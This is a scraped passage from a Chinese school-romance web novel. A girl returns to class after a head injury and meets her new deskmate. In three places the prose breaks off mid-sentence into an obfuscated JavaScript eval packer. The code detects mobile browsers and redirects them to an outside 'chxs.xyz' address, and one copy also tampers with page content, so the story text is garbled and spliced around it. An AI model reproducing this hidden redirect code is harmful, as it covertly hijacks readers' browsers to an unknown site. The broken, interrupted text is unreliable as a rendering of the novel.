保姆赵阿姨将晚餐陆续端上桌，餐厅里坐着四个人，姜织宁和姜颖坐一边，爷爷奶奶并排坐在对面，姜织宁的父母在她上小学时意外去世，从那以后，姜家只剩下四个人。 吃饭时，爷爷问起租房的事：“你租的那个小区安不安静啊，宁宝的房间不临街吧？” 姜织宁自从后脑勺动过手术后，睡眠质量一直不太好，夜里很容易失眠，哪怕睡着了，只要周围环境稍微发出一点点动静，她就会敏感醒来。 其实就是睡眠障碍症。 姜颖回复完工作消息，关掉手机放到桌上，回答：“不临街。爸您就放心吧，我让中介带我去小区里看过好几遍，周围环境么，说实话啊，那肯定比不上咱们这边以绿化出名的别墅区。但那个小区环境也还可以，我租的那幢是楼王，位置算最好了，挺安静的。” 爷爷点点头，又对姜织宁说：“明天就要去学校报道了，东西收拾好了吗？” “还没。”姜织宁摇头。 “宁宝，”奶奶舍不得姜织宁搬走，叮嘱说，“不用带太多东西过去，反正节假日都要回这边住的呀。” 姜颖赞同点头，看向姜织宁：“你明天去学校带上自己的书包就行，其他东西全丢箱子里，我会安排人送到新家，哦对了爸，我再搬几盆院子里的花过去。” 爷爷一听这话，顿时不乐意了，瞪起眼，不客气骂道：“姜颖，你怎么和土匪抢劫一样？你不会自己去花鸟市场买啊？你又不懂养花，回头给我全都养死了！” 父女拌嘴日常又开始上演了，姜织宁和奶奶默契对视一眼，同时无声笑起来。 “哎哟，您要不要这么小气啊！这都快年底了，公司忙得要死，我哪有什么美国时间去花鸟市场？”姜颖大剌剌翻了个白眼，毫不客气怼回去，“再说，我又不傻咯，花鸟市场买的花哪有您养得好，那外头院子里养了这么多花卉绿植，我搬走几盆怎么了？” “不准搬啊！”爷爷摆手冷哼，“我不同意，我就小气！” “嗯知道了。”姜颖当耳边风，表情淡定回，“我就搬，等会儿半夜直接搬。” 爷爷：“......” “哎，我看院子里的绣球养得很不错，铲走了啊。”姜颖用通知的语气说。 “你敢！！！”爷爷当场摔筷，暴怒呵斥，“那都是我的心血！什么不错，你这个没有院子的人！有什么资格养绣球？！” “没院子怎么了？”姜颖逆反心理上来，油盐不进，淡定微笑，“我就养怎么了？” 爷爷：“.................” 隔天上午，姜颖特意腾出时间，亲自开车送姜织宁去学校。 白色轿车缓缓停在江洲中学门口，姜织宁拿上书包下车。 关车门之前，姜颖看了眼手表，脸色惋惜地对姜织宁说：“姑姑没时间陪你去见班主任了，自己小心点，有事情第一时间给我打电话。” “好，姑姑再见。”姜织宁笑着挥了挥手。 “宁宝拜拜，晚上见。” 现在是上课时间，校园里格外安静，唯有在操场上军训的高一新生们时不时没精打采吼上两嗓子。 风和日丽的美好一天，姜织宁面露微笑，一路打量着阔别已久的校园，步调慢悠悠经过大操场，再穿过林荫小道，熟门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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字倒是不错，端正漂亮，但是检讨内容写得不太着调，最后一行卡在标点符号上，显然是还没写完的状态，而且结尾处，居然是个敷衍的英文字母K...... 姜织宁抿起唇，有点想笑，哪位同学这么嚣张啊，连自己名字都懒得写吗？ 正看得入迷，广播里响起熟悉音乐声，下课了。 与此同时，耳边传来两道急切呼唤声。 “哎同学！同学！” 姜织宁抬头朝窗户看过去。 扎马尾的女生捧着两本语文书站在窗边，脸色挺紧张，她小心翼翼推开窗户，左手伸进来，指了指姜织宁手边那叠卷子，小声快速地说：“同学，能不能帮忙把那本娱乐杂志拿给我！” 哪有娱乐杂志？ “什么？”姜织宁愣怔眨了下眼。 “就——” 女生抬眸看向姜织宁的那一瞬间，嘴巴突然卡壳住。 她直勾勾盯着姜织宁，逐渐睁大眼，呆滞数秒后，直接蹦出一声：“我去！是姜织宁哎！！！” “啊？谁谁谁？”旁边同伴倾斜身体看过来。 “哎别打岔，等下再和你说！” 时间紧迫，就怕老师下课回办公室。 女生来不及解释，利索推开同伴脑袋，恳切请求姜织宁：“姜学姐！我有本刚买的娱乐杂志被主任没收了，就压在那叠卷子最下面，能不能帮我换一下，拜托拜托！！！” 女生手中捧着的两本语文书之间，大胆夹藏着一本几月前上市的旧版杂志，她利索抽出来，递给姜织宁。 这时，走廊拐角处不合时宜地传来两位老师的说话声。 “呃......老师来了！老师就要来了！” 同伴死死盯着拐角，紧张屏住呼吸，声若蚊鸣提醒。 姜织宁果断站起来，快速从女生手里接过旧杂志，顺手拿过那两本语文书，她先将旧杂志塞到卷子最下面，然后抽出那本新杂志。 她看清杂志封面上那张耍帅装酷的男明星脸，眼睛同男星对视上的那一瞬间，姜织宁目光麻了一下。 好家伙，居然是韩辰...... 她幼儿园同学，曾经对她哇哇大哭过。 姜织宁面无表情把杂志夹进语文书里，速度递出窗户，整个过程只用了几秒时间。 女生终于拿回宝贝杂志，冲姜织宁狂冒星星眼，激动万分谢道：“啊啊啊啊啊啊啊！谢谢学姐！谢谢宁王！！！” 虽然很想疯狂磕头感谢，但老师随时会过来，实在不敢冒险久留，女生只能恋恋不舍拉上同伴，火速低调离开。 一路飞奔到班里，把宝贝杂志谨慎藏进书包，女生才彻底松了口气。 刚才实在太刺激了，同伴心有余悸拍了拍胸口，好奇询问女生：“你刚才叫她什么？宁什么来着？” “你说姜学姐吗？我叫她宁王啊，她外号是宁王啦。”女生拧开杯盖，主动分享小道消息。 同伴：“呃......这么霸气吗？” “当然！”女生振振有词，“她可是宁王哎！” 同伴不懂：“为什么会叫宁王啊？” 女生滔滔不绝科普起来。 “因为她跳舞很帅很A！男女通杀，片甲不留，堪称AllKill那种！！！” “姜学姐平时跳hiphop为主，那种可爱甜美类型也跳，但比较少，有视频的，等下我找给你看，我有个朋友和她关系挺好，她们都在音暴学街舞。” 同伴若有所思点了点头，又不理解问：“可是，既然是学姐的话，为什么会跑到高二这边呢？还坐在彬彬办公桌边上，高三生不是在另外一幢教学楼吗？” “嗯......好问题。” 女生被问到了，陷入沉默。 忽然间，她脑子里闪过姜织宁要重读高二的小道消息。 女生不可思议瞪大眼睛，惊讶道：“绝了绝了绝了！所以说，宁王真要转来我们班了？？？” 7. 第 7 章 刘彬很快回来，检查过表格后，放到文件夹里，关心起姜织宁的身体情况。 他笑眯眯问：“身体恢复的怎么样？今天感觉还好吗？” 姜织宁没多想，实话实说：“还好，就是有点累。” 有点累？？？ 刘彬一听这话，脸色顿时紧张起来，连忙问：“哪里累？是脑袋吗，还是哪里？现在看东西晕不晕？胸口会不会发闷？有没有恶心想吐的感觉？？？” 他右手无意识握成拳，作势要站起来。 “要......要不，老师现在陪你去校医院看看吧？不舒服就要去看医生，千万别勉强自己啊！” 啊？ 姜织宁茫然看着班主任。 也不怪刘彬会手足无措这么紧张，姜织宁当初祸从天降，突然休学的原因确实和学校有关系。 父母去世之前，姜织宁自幼受到舞蹈家出身的妈妈影响，一直在学习古典舞，高二下学期的时候，姜织宁作为江中校舞蹈队成员，跟随学校舞蹈队外出参加文艺汇演。 演出成功结束后，当天晚上，学校老师带着姜织宁她们去餐厅吃饭庆祝，席间，姜织宁下楼帮同学借充电宝，结果这一趟下去，就再也没能回去。 当时，楼下某桌食客突然起口角冲突，其中一位专业练拳击的高大壮汉喝醉了，争吵时，壮汉直接高举起屁股下的椅子，凶狠砸向同伴。 那一瞬间，被打的人及时躲开，那把无比沉重的椅子就这么意外地砸到了姜织宁后脑勺上。 壮汉眼看自己误伤人，却并没有停手，赤红着眼扑到同伴身上，两人死命扭打起来。 店内桌椅大片翻倒，餐具碎裂一地，尖叫声，嘶吼声，哭泣声...... 现场一片混乱，没人顾得上姜织宁。 泊泊鲜血顺着头发不断流下，快速染红衣领，姜织宁被砸得当场看见佛祖显灵，直接倒地晕了过去。 后来她被老师紧急送去医院，后脑勺动了手术，又在医院住了很久，才被准许出院修养。 姜织宁平时为人处事极为低调，但幼年童星出身的特殊身份使得她在校内外一直小有名气，她学习成绩也不错，因此那次意外发生之后，来自各方的舆论压力如同潮水般，一致汹涌扑向校方。 所以这回姜织宁重新返校学习，刘彬作为她的班主任，内心是有些压力和忐忑不安的，生怕在校期间姜织宁又出个什么意外。 毕竟，谁也不想自己手里的学生出事。 ...... “不是，刘老师，”眼看刘彬神情慌张，整个人受到大惊吓的模样，姜织宁无奈笑了下，及时解释，“我就是爬楼爬得有点累。” “爬楼？”刘彬愣了愣。 他慢半拍反应过来，松了口气，重新坐下来，下意识喃喃：“好好好，爬楼累好，爬楼累好。” “啊？”姜织宁眼神困惑。 “不是，老师的意思是，”刘彬抽了张纸巾，擦掉额角冒出来的冷汗，笑着说，“这教室搬到顶楼啊，刚开始上上下下确实有点累，习惯就好了，就当锻炼身体嘛。” 他知道姜织宁身体情况特殊，所以叮嘱她说：“还有这个学习上啊，一定要劳逸结合，千万不要给自己太多压力。” “我前两天就和班里同学说过，要把学习当做游戏，把考试当成打怪，考试排名榜就是游戏玩家排行榜，我们在升级过程中呢，不能眼睛只放在其他玩家身上，要多和自己比，哪怕进步一点点，也是自身实力的增进。” 这位刘老师说话还挺有意思的，姜织宁微笑听着，配合点点头。 “好，那我带你去班里吧。”刘彬拿起卷子站起来。 姜织宁安静站在高二一班教室门口，教室里的同学嬉戏打闹着，气氛热闹。 刘彬站到讲台上，拿卷子拍拍桌面：“好了啊，安静！” 众人收敛，各自回到位子上坐好。 “说两件事。”刘彬严肃扫视一圈，开口强调，“首先，班里某些人啊，不要以为我不知道，你们私底下给任课老师取的那些奇怪外号！” “倒反天罡！” “都想干什么？起义造反啊？懂不懂尊重老师！” 刘彬话音刚落，就有男生懒洋洋回应一句：“哎哟，知道了，彬彬～” 全班哄然大笑。 姜织宁也没忍住，弯唇轻笑出声。 刘彬年纪不大，目前还是个单身贵族，本人脾气温和，和学生相处时平易近人，有时候还会在学生面前冷幽默一把，所以学生们私底下都喜欢亲切叫他—— 彬彬。 彬彬这个外号吧，听着确实没大没小，不太礼貌，但往好处想想，好歹也算是个爱称了。 比那些什么四眼田鸡、谢顶法师、五毒教教主、灭绝师太、阿呆真人......之类的奇葩外号正常多了。 刘彬不是不知道这点，但是，该训还是要训的，否则主任总来找他说事。 “大嘴巴赶紧给我闭上！”刘彬怒瞪了眼没礼貌的男生，“彬彬是你喊的吗？没大没小！” 男生耸了耸肩，嬉皮笑脸靠到椅背上。 “第二件事，”刘彬快速切回笑脸，扭头冲姜织宁招了招手，示意她进来，“我们班来了位新同学，大家掌声欢迎。” 姜织宁在全班同学的注视下，从容走到讲台上，微笑自我介绍道：“大家好，我叫姜织宁。” 先是死一般的寂静，数秒后，有人率先吹了声响亮的口哨，紧跟着，热烈掌声、欢呼尖叫、疯狂拍桌声……如潮水般蜂拥而至。 尤其是刚睡醒的俞杨，一脸呆滞望着姜织宁，两颗眼珠子几乎快要瞪出眼眶，他双手麻木跟着大部队拍桌，掌心几乎被震到发红发麻。 啊？？？ 好家伙，他昨天就是随口说一嘴而已啊...... 结果今天女神真的来了！ 穿透力十足的热闹气氛很快被隔壁几个班同学听见，有人纳闷，有人吐槽。 “一班干嘛呢？这么热闹。” “这是猿人起义吗，吵死人了！” “他们班气氛蛮好的。” “是不是有什么好事发生，咋轮不到我们班呢？” “听说是校花去一班了！” ...... 刘彬耳朵被吵得不行，不得不用力拍讲台：“好了好了，安静！” 他看向姜织宁，给她指了两个座位，询问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我真挺好奇的，宁王不是童星出身嘛，那她怎么好多年不露面了？以后真不去做大明星了？” “听说是因为父母出事才退圈，小道消息，不知真假。不过说实话啊，她长成这样，不去演戏太可惜了吧，她在《记忆》里真的很灵哎！” “就是就是，还有宁王小时候拍的明力牛奶广告，简直超级灵啊！拜托，我每年花钱冲那些视频网站会员，又不是为了看毫无演技的丑男丑女！” ...... 低声讨论中，语文课代表兼班级宣传委员于佳同学，忽然兴奋说了句：“绝了绝了！我们班要出双A组了！” 旁边女生八卦欲上来，立马追问：“什么呀，什么叫双A啊？是哪两个A？？？” “就姜织宁和柯译衍啊，咱们大江中的校花和校草！” 于佳面无表情抬起右手，手刀在脖子上狠狠划了一道。 “这两位可都是——” “AllKill。” 周围人听到于佳这么说，瞬间恍然大悟，一致赞同点头。 8. 第 8 章 如果说姜织宁是高出一届，只可远观的神秘校花学姐，从而导致她AllKill的宁王外号流传范围并不算广，那么柯译衍就不一样了。 自从他转来江洲中学第一天起，年级里关于转学生的八卦就没停下来过。 学习成绩超顶！ 打网球很厉害，拿过不少青少年比赛冠军！ 听说还会弹钢琴，水平也很牛！ 长得超级超级帅，是公认的新校草！ 看上去相当高冷，生人误近气场十足，但接触后发现一个道理，那就是看人不能光看外表，其实转学生并不是故意高冷的装逼王，反而挺好相处，也挺好说话，不过本人话少是真的，低调酷哥一枚。 ...... 诸如以上五花八门的传闻。 而柯译衍之所以会被封为AllKill，同一届的学生最清楚不过。 是因为一场月考。 江洲中学以管理宽松，学习氛围自由开放而声名远扬，这份自由的底气来源于学生私下之间非常非常卷，还是完全自发性的那种卷。 早上四五点就起床，晚上学到一两点才去睡觉，白天在学校里精准利用各种碎片化时间，见缝插针式学习的学霸大佬比比皆是。 否则，江中怎么可能是排名第一，每年国内C9，以及国外藤校录取率遥遥领先的重高。 柯译衍高一转来江中不久后就是一场月考，在此之前，每次大小考试中，蝉联榜首的超级大佬总是同一个人。 那位大佬叫姚飞，容貌清秀，性格温和，周围同学赐其外号—— 要飞。 意思这一位不是地表凡人，不论是外貌性格，还是学习能力，那都是直接飞向大气层之上的真神人。 由于姚飞经常毫无悬念拿下第一，周围同学的态度很快从惊讶地奔走相告切换到—— 我去！是他！ 靠！又是他？ 哦，这次还是他...... 这种麻木的习以为常。 而那次月考之后，众人忽然震惊发现，宣传栏上的光荣榜大变天了，姚飞的排名居然掉到了年级第二！ 有人空降！ 终结连胜，强势力压真神人之上的空降大佬，就是那位刚转来不久的低调酷哥，新任校草。 他的名字？ 柯译衍。 这酷哥不仅在总分上拉出姚飞一截，细分到各科上，也是全部或高或低的比姚飞多出好几分，堪称AllKill的恐怖程度。 月考成绩出来之后，姚飞几个好友一直说他考试那几天生病发烧，影响到考试发挥，不过姚飞本人倒是很谦虚，直言自己实力不如人。 ...... 有人猜测：“那姜学姐，不是......姜织宁之所以选那个座位，会不会因为同桌是柯译衍啊？？？” “对哦！双A组现在是同桌哎！！！” “那你要是这么说的话，不好意思啊，我有点想嗑这对CP了！” 于佳眉飞色舞，正欲接话，忽然被刘彬点名。 刘彬离开之前，对自家课代表说：“你现在带姜织宁去领下新课本。” “好嘞好嘞！”女生得令站起来，积极回应。 于佳就是刚才娱乐杂志被没收，求助姜织宁帮忙的马尾女生。 刚才没时间向救命恩人磕头感谢，这会儿机会来了，一路上，于佳又是反复感谢，又是热情表示要请姜织宁喝校门口最贵的奶茶。 教材室在文印室边上，要走去另一幢楼，途中，姜织宁随口问了嘴教材的事。 于佳讲：“彬彬前两天和我们说，我们这届高二有几门课程的教材改版了，新增了一些内容，比上届更难。” 姜织宁：“啊......” 于佳：“彬彬还说，按照规律预测，这届高三的高考难度估计偏简单，所以等轮到我们这一届，高考难度应该是偏难的。彬彬叫我们长点心，早做准备，别整天嘻嘻哈哈没个分寸......” 高考难度偏难...... 姜织宁一听这话，人瞬间麻了。 不是，她这是被衰神附体安家了吗？ 否则怎么会这么倒霉啊？？？ * 柯译衍临时被数学老师何叶军叫去沟通竞赛的事，促膝长谈半个多小时，老师才舍得放他回来，柯译衍刚要走进班里，就被刘彬招手叫住。 两人站在班门口说话。 刘彬看着他，笑眯眯地说：“班里来了位新同学，就坐你边上，你平时帮老师看着点。” 柯译衍：“？” 少年稍稍偏头，目光带着几分困惑，朝自己的座位方向看去。 刘彬知道柯译衍想看什么，打断他：“人不在，你新同桌去拿课本了。” “这位新同桌是有什么犯罪前科吗？”柯译衍收回视线，一脸平静反问。 “......” 这是什么语出惊人死不休的话？ 刘彬顿时拉下脸，没好气斥道，“什么犯罪前科，在这胡说八道什么呢！” 他看着柯译衍，有点头痛起来。 讲实话，他作为老师，打心眼里对柯译衍非常非常满意。 这位各方面都无可挑剔的优等生，不仅学习成绩出类拔萃，身上揪不出什么坏毛病，脾气性格和为人处事上，也是十几岁男生当中罕见的低调、沉稳、靠谱。 刘彬是教语文的，又是班主任，看人一向挺准，再加上之前听到了有关柯译衍过去经历的一些说法，所以刘彬心里很清楚，柯译衍身上有股很强烈的，带着几分攻击性的锋芒锐气，也有独属于少年人的桀骜不驯。 只不过因为某些原因，被柯译衍不着痕迹地收起来了。 周围那些不熟悉柯译衍底色的人，自然而然以为他就是现在这幅状态的低调优等生，其实不然。 并不能说少年光芒褪去，已经泯然众人，但如今的柯译衍，确实过于低调了。 有关柯译衍背后那些令人头痛的复杂过往，是刘彬后续要着手解决的难题，而眼下，看到姜织宁选择和柯译衍做同桌，刘彬心里还是很放心的。 面对班主任的谴责目光，柯译衍平淡反问：“那您让我看什么？” 刘彬发话：“你新同桌，哎不对......什么新同桌新同桌的，人有名字，叫姜织宁！姜织宁她要是不休学，你现在高低得喊她一声学姐！” 柯译衍：“......” 刘彬接着说：“姜织宁之前因为身体原因休学过，我让你平时帮老师看着点，这话的意思是，让你多注意下她的身体情况，但凡出现什么问题，就第一时间和我报告。” 柯译衍沉默了下，问：“看多久？我要一直和她做同桌？” 刘彬本来想说那不会，后面肯定要换座位，但一听到柯译衍语气不怎么友善，再度心中不满，脸色随之板起来。 他斜眼瞪着少年，质问：“干什么，你不愿意啊？还是你对新同学有什么意见？？？” 柯译衍：“......” “哎呀，你先帮忙看着嘛，到时候换了座位再说啊。” 说完，刘彬又老生常谈劝道：“大家同学一场不容易，那都是缘分，毕业后的美好回忆。同学之间互相照顾点啊，你是她同桌，距离最近，这事交给你最方便，老师对你还是很放心的。” 柯译衍脸上没有任何情绪，没说话，没表态。 刘彬看他这幅不配合态度，老狐狸咳了声，故意讲：“突然想起来啊，就你那个卡在标点符号上的检讨，我记得还没写完吧？哎哟，这就有点麻烦了，刚才主任还在问我这件事，要不......” 果然，姜还是老的辣。 “知道了。”柯译衍无声叹了口气，识趣打断班主任。 在继续写完千字检讨和照看姜织宁两者之间，柯译衍相当现实，且相当理智地选择了只需要他动眼动嘴的后者，因为省事很多。 至少眼下他是这么认为的。 “进去吧。”刘彬嘴巴咧开，满意笑起来，好心情放人进班。 只要这小子开口答应就行，因为刘彬知道柯译衍要么不答应，只要答应的事，那肯定靠谱，会给他办得漂漂亮亮。 柯译衍坐到位子上，俞杨飞快转身，敲了敲桌面，八卦打听：“居然说这么久，彬彬找你干嘛？” “派活。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879567|159743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哈？不会又是叫你去参加什么竞赛吧？”俞杨神色警惕。 柯译衍微微摇头。 俞杨：“那干嘛啊？” 柯译衍：“照看新同桌。” “啊？？？”俞杨足足愣了好几秒才反应过来，转而语气激动地说，“那不就是照看我女神吗！你刚才不在班里不知道，我和你说啊，姜织宁真转来我们班了，就坐你边上，你小子要走大运了！哈哈哈，我真是个天才预言家……” 柯译衍：“......” 来了位新同桌而已，一件极其普通的日常小插曲，就因为主人公是姜织宁，所以被俞杨啰里八嗦，扩展成什么了不起的千字小作文。 好在多年相处下来，柯译衍早已习惯俞杨的语言骚扰，他没让俞杨闭嘴，任由对方发挥，同时偏头垂眼，顾自从抽屉里拿出数学试卷看起来。 说到最后，俞杨半羡慕半嫌弃地瞅着身在福中不知福的人，酸溜溜感叹：“真是旱的旱死，涝的涝死！照看女神这种好事，怎么就轮不到我呢！我可是女神的真粉丝哎！” 柯译衍眼皮懒洋洋掀起，嗤笑一声：“行，让给你，我待会儿就去和刘老师说。” “别！你可别搞我啊！”俞杨瞪他，吓地连连摆手，他就是嘴强王者，可不敢接手这种事。 对俞杨来说，姜织宁是只适合远观的女神，如今女神就坐在自己身后，这么近的距离，已经让他浑身僵硬，很不自在了…… “转身，去补作业。”柯译衍下巴朝前面冷酷一指，面无表情骂道，“以为自己是体育生，就懒得学文化课了？考试排名再这么倒数下去，不管是雾京体大还是江洲大学，我看你都别做梦了。” 俞杨：“......” 和柯译衍一样，俞杨从小就打网球，之后确定要走职业网球运动员这条路，因此，他的目标大学要么是事少离家近的本地学校——江洲大学，要么就是国内体育大学里的top——雾京体大。 而这两所大学对于体育生的文化成绩要求都不低，尤其是作为C9联盟之一的江洲大学，以俞杨目前的成绩来说，肯定是危险的。 猝不及防，突然被柯译衍这么一教训，直接给俞杨弄愣住了。 扎心中，他又想不到反驳的话，蔫巴目光从柯译衍脸上，一点点挪到桌上那张接近满分的变态数学试卷上。 “靠，考的这么好！”俞杨翻了个白眼，没好气地抢过那张变态试卷，“借我看看！” * 姜织宁捧着一摞新课本，在教学楼下偶遇从摄影社开会回来的周静瑶。 周静瑶眼睛一亮，速度将相机放进包里，然后小跑到姜织宁身边，直接抢过她手里的书，帮忙抱着。 “又不重。”姜织宁伸出手，想把书拿回来。 周静瑶灵活侧身挡了下，没让她拿，嬉皮笑脸开玩笑：“所以我才拿着啊，重才不帮你拿。” 姜织宁弯唇笑起来，没再和她争。 三名女生一路骂骂咧咧爬至顶楼，走到班级门口时，姜织宁瞄见新同桌回来了，是个穿黑色宽松卫衣的少年，背对着她坐在位子上，好像在和后桌讨论题目。 江中在校服上管得并不严，除了必要场合、必要时间里需要统一穿校服，其他时候全凭学生个人意愿，校方不强制要求。 姜织宁的座位在里面，平时进出要经过同桌这边，她走到少年身后，垂下眼睫，开口说：“麻烦——” 刚脱口而出两个字，少年忽然转身坐正，抬头看过来。 咦？ 好眼熟，在哪里见过吗？ 姜织宁同他对视上的那一瞬，率先想到的是这个。 她直直盯着少年，脑子里不由自主走起神。 十几秒之前，后桌发现姜织宁回来了，便暂时收起试卷，顺便好心提醒柯译衍。 柯译衍闻言转身，目无情绪看向姜织宁，女生不说话，用若有所思的目光注视着他，态度奇怪，也不知道是想进去，还是找他有事。 耐心等待数秒后，看她就这么站着不说话，柯译衍正要主动开口，就见姜织宁翘起唇角，面带礼貌微笑，突然冲他来了句—— “是你啊，菜狗。” 9. 第 9 章 沉默。 姜织宁话音落下瞬间，以她为中心点，直径两米扩散出去的区域里，全部陷入死一般的沉默。 菜......菜狗...... 呃……双A组之间，是有什么不为人知的过节吗？？？ 此时此刻，后桌同学默契呆滞瞪大眼，嘴唇张成O型，像两只唯妙唯俏的活体哑巴青蛙，形象逼真到可以拿去巡回展览那种。 而俞杨听到姜织宁那句“菜狗”后，震惊心想—— 好好好，不愧是宁王！ 与此同时，一动不敢动的身体变得更加僵硬，手中那张柯译衍接近满分的数学试卷，被他无意识捏成皱巴巴一团。 俞杨不敢转身。 他不敢亲眼见证双A组血腥残酷的对峙场面，只敢在心中暗戳戳，紧张且离谱地纠结，要是待会儿姜织宁和柯译衍起了冲突...... 靠，他应该帮谁啊？？？ 坐俞杨前面的周静瑶也被同桌带动着，注意到教室后排不同寻常的凝固气氛。 她懒洋洋侧靠着课桌，看看姜织宁，又看看柯译衍，然后掏出相机，笑眯眯看起好戏，伺机拍照。 她可真有“礼貌”。 莫名其妙挨骂的柯译衍面无表情，心里这么想。 柯译衍目无情绪，平静盯着视线心虚落在桌角处的姜织宁，微微挑了下眉，慢悠悠从座位上站起来。 周围鸦雀无声，气氛紧张得令人窒息。 少年高大身影笼罩住少女，姜织宁敏锐察觉到柯译衍朝她投下来一片厚重阴影，慢吞吞扭过脸，抬眸望向他。 鉴于突然嘴瓢这件事解释起来太复杂、太麻烦，姜织宁决定暂时装作无事发生，脸上浮起友好微笑，主动语气友善地说：“我其实是想说，麻烦同学让一下。” 落座后，双A组谁也不说话，气氛安静得像是医院太平间，俞杨内心很纠结，快要憋死了。 别看私底下俞杨总喜欢不客气地对柯译衍指手画脚，逼逼叨叨，但在外人面前，他极其维护自家好兄弟。 要是有其他人敢说柯译衍一句不好，在柯译衍有所回应前，俞杨早已提刀冲向对方了，俗称皇上不急太监急的典型代表。 如果是别人骂柯译衍菜狗，那俞杨绝对拉下冷脸，高低要看看对方是哪路来的垃圾货色，但问题是……这话是他女神姜织宁说的哎...... 女神说的话就是对的！ 呃......好像也不能这么绝对。 俞杨想了想，乐观地换了种想法，女神说的话99%是对的，至于剩下1%的错误，那也不是故意犯的，肯定有不得不错的原因在！ 但是吧......那为数不多的良心又在提醒着俞杨，毕竟柯译衍是他从小玩到大的好兄弟，这在外面呢，他还是得帮忙维护下柯译衍的正面形象。 一边是有童年滤镜的女神，另一边是从小到大的好兄弟，俞杨的心在姜织宁和柯译衍之间摇摆不定，反复艰难横跳着。 天，好难选，老天爷为什么要这样对他...... 纠结了很久之后，俞杨缓慢深呼吸，斗胆拿出毕生勇气，慢吞吞转身看向姜织宁。 他语气小心翼翼，姿态虚心请教问道：“女神，咱们衍神纯情男高，年级第一，暗恋他的迷妹可以绕学校三圈，他哪儿菜啦？” 其实，俞杨还想大吹特吹一番柯译衍无比牛逼的网球成绩。 不是不知道衍神各方面无短板，就连学习成绩也很顶，但毕竟自己是个体育生，专攻网球，自然对网球这方面更关注一些。 他的好兄弟柯译衍，那可是曾经拿过四大满贯中法网、温网青少年组冠军的天才网球少年！ 可以说，只要是打网球的职业运动员，毕生终极梦想就是拿下网坛含金量最高、奖金最多的顶级赛事—— 四大满贯的冠军。 即使是大满贯青少年组的比赛冠军，那也足够令人望尘莫及！ 过去的网球圈里曾经流传着一种说法，就是可以从青少年组的冠军里预测出未来成年组的冠军。 所以俞杨觉得，衍神的网球才是最牛逼的！ 不过，鉴于柯译衍一副退出江湖，彻底放弃网球的低谷状态，俞杨求生欲很强，不敢提这事。 ...... 纯情男高？ 姜织宁愣了秒，下意识看向右边那张“纯情”男高脸。 高眉骨，五官优越立体，面部轮廓锋利，典型的浓颜系长相。 此时，少年薄唇抿成一条冷淡直线，就这么沉默不语的时候，身上拒人千里之外的冷感特别重。 由于常年学习街舞，以及家里姑姑从事服装时尚行业的原因，一路以来，姜织宁各种各样的大帅哥见多了。 但是看到柯译衍这个人后，她依然会心服口服点头承认，他真的很帅。 少年长得张扬夺目，确实不是清汤寡水的高中男生，而是在漫画杂志或者电视剧里，才能欣赏到的顶级颜值男高。 但是吧，再次认真打量对方几眼后，姜织宁不赞同心想，他这张脸长得......和纯情丝毫不沾边啊，就不仅不沾边，还完全是反方向发展。 依她看，倒更像是—— 冷酷无情渣男脸。 还有，什么叫暗恋他的迷妹可以绕学校三圈，姜织宁疑惑心想，这是什么年代的中二形容词？ 不过，这些都不是眼下应该关心的重点，她淡定注视着柯译衍，无言了好一会儿后，为刚才的嘴瓢道歉。 “抱歉，嘴误。” 说实话，柯译衍不是帅而不自知的人。 他知道自己长得招人，走路上回头率很高，总是被人各种偷瞄，但是被异性这么近距离，光明正大盯着打量，那还真是头一回。 她的目光毫不客气，长久直白地凝在他脸上，好像随时就要舞到他面前来，让他感觉很不舒服，心生不爽。 柯译衍忍到极限，正想质问姜织宁要看到什么时候，再看下去要收费，就听见她忽然开口道歉，说自己嘴误。 嘴误？ 谁信。 她绝对是故意的，又不是第一次这样，想到这，柯译衍转过头，冷淡斜了她一眼。 姜织宁：“......” 姜织宁原本想说自己脑子不太好使，记性时好时坏，但想想做人不容易，不能这么随便骂自己、为难自己，就算了。 她叹了口气，对他真诚解释道：“刚才真不是故意骂你，菜狗是我一个朋友的外号，我那会儿走神嘴瓢了。” 柯译衍没有搭理姜织宁这番可信度不高的说辞，顾自冷着张脸，心想要不要现在去找班主任，告诉班主任，照看新同桌这活难度太高，他做不了。 还是写检讨得了，同样是累，他现在忽然觉得，手累总比心累好。 面对柯译衍的冷漠态度，姜织宁倒是没说什么，甚至表示很理解。 毕竟这不是她第一次出丑。 当初姜织宁被壮汉误砸椅子后，刚做完手术的那段时间里记忆非常糟糕。 严重到什么程度呢，当她看到过来探望的周静瑶，直接把周静瑶当成走错房间的陌生人，压根忘了这女生是自己闺蜜，名字也想不起来，一度把周静瑶吓得半死。 后面蔡从过来探病，姜织宁看着他，也是一副皱眉陌生脸，完全不记得他是哪位。 不过，有周静瑶前车之鉴在那儿摆着，姜织宁怕自己再闹笑话，就小声问周静瑶，蔡从叫什么名字，和她什么关系，周静瑶故意说，他叫蔡狗。 姜织宁一脸惊讶，随即摆出真诚求知脸，好奇问：“还有人叫蔡gou的呀，这多难听呢，是哪个gou啊？不会是狗东西的狗吧？” 周静瑶笑到肚子痛，蔡从当场黑脸。 刚才见到柯译衍，姜织宁之所以会嘴瓢误骂他菜狗，唉，其实也和蔡从有关。 住院期间，姜织宁的脑子总是时不时犯神经痛，饮食又被控制，因此那段时间里她心情和脾气都不太好。 